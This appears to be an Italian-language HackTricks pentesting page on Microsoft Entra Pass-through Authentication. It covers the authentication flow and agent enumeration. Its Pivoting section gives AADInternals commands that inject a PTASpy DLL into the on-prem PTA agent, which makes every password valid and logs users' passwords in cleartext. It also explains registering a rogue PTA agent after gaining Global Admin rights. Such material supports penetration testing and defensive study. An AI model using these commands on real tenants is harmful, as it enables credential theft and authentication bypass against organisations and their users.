# Az - PTA - Pass-through Authentication

{{#include ../../../banners/hacktricks-training.md}}

## Informazioni di base

[Dal documento:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication consente ai tuoi utenti di **accedere sia alle applicazioni on-premises che a quelle basate su cloud utilizzando le stesse password**. Questa funzionalità offre ai tuoi utenti un'esperienza migliore - una password in meno da ricordare, e riduce i costi del supporto IT perché è meno probabile che i tuoi utenti dimentichino come accedere. Quando gli utenti accedono utilizzando Microsoft Entra ID, questa funzionalità convalida le password degli utenti direttamente contro il tuo Active Directory on-premises.

In PTA **le identità** sono **synchronize** ma **le password non lo sono** come in PHS.

L'autenticazione è convalidata nell'AD on-prem e la comunicazione con il cloud avviene tramite un **agente di autenticazione** in esecuzione su un **server on-prem** (non deve essere necessariamente sul DC on-prem).

### Flusso di autenticazione

<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>

1. Per **accedere** l'utente viene reindirizzato a **Azure AD**, dove invia il **nome utente** e la **password**
2. Le **credenziali** sono **crittografate** e messe in una **coda** in Azure AD
3. L'**agente di autenticazione on-prem** raccoglie le **credenziali** dalla coda e le **decrittografa**. Questo agente è chiamato **"Pass-through authentication agent"** o **agente PTA.**
4. L'**agente** **convalida** le credenziali contro l'**AD on-prem** e invia la **risposta** **indietro** a Azure AD che, se la risposta è positiva, **completa l'accesso** dell'utente.

> [!WARNING]
> Se un attaccante **compromette** il **PTA** può **vedere** tutte le **credenziali** dalla coda (in **testo chiaro**).\
> Può anche **convalidare qualsiasi credenziale** su AzureAD (attacco simile a Skeleton key).

### Enumerazione

Da Entra ID:
```bash
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}
```
Controlla se l'agente è in esecuzione nel server on-prem:
```bash
Get-Service -Name "AzureADConnectAuthenticationAgent"
```
## Pivoting

Se hai accesso **admin** al **server Azure AD Connect** con l'**agente PTA** in esecuzione, puoi utilizzare il modulo **AADInternals** per **inserire una backdoor** che **convaliderà TUTTE le password** inserite (quindi tutte le password saranno valide per l'autenticazione):
```bash
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text

Remove-AADIntPTASpy # Remove the backdoor
```
> [!NOTE]
> Se l'**installazione fallisce**, ciò è probabilmente dovuto alla mancanza dei [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).

Questo backdoor farà:

- Creare una cartella nascosta `C:\PTASpy`
- Copiare un `PTASpy.dll` in `C:\PTASpy`
- Iniettare `PTASpy.dll` nel processo `AzureADConnectAuthenticationAgentService`

> [!NOTE]
> Quando il servizio AzureADConnectAuthenticationAgent viene riavviato, PTASpy viene “scaricato” e deve essere reinstallato.

> [!CAUTION]
> Dopo aver ottenuto i **privilegi GA** nel cloud, è possibile **registrare un nuovo agente PTA** e **ripetere** i **passaggi precedenti** per **autenticarsi utilizzando qualsiasi password** e anche, **ottenere le password in chiaro.**

### Seamless SSO

È possibile utilizzare Seamless SSO con PTA, che è vulnerabile ad altri abusi. Controllalo in:

{{#ref}}
az-seamless-sso.md
{{#endref}}

## Riferimenti

- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)

{{#include ../../../banners/hacktricks-training.md}}
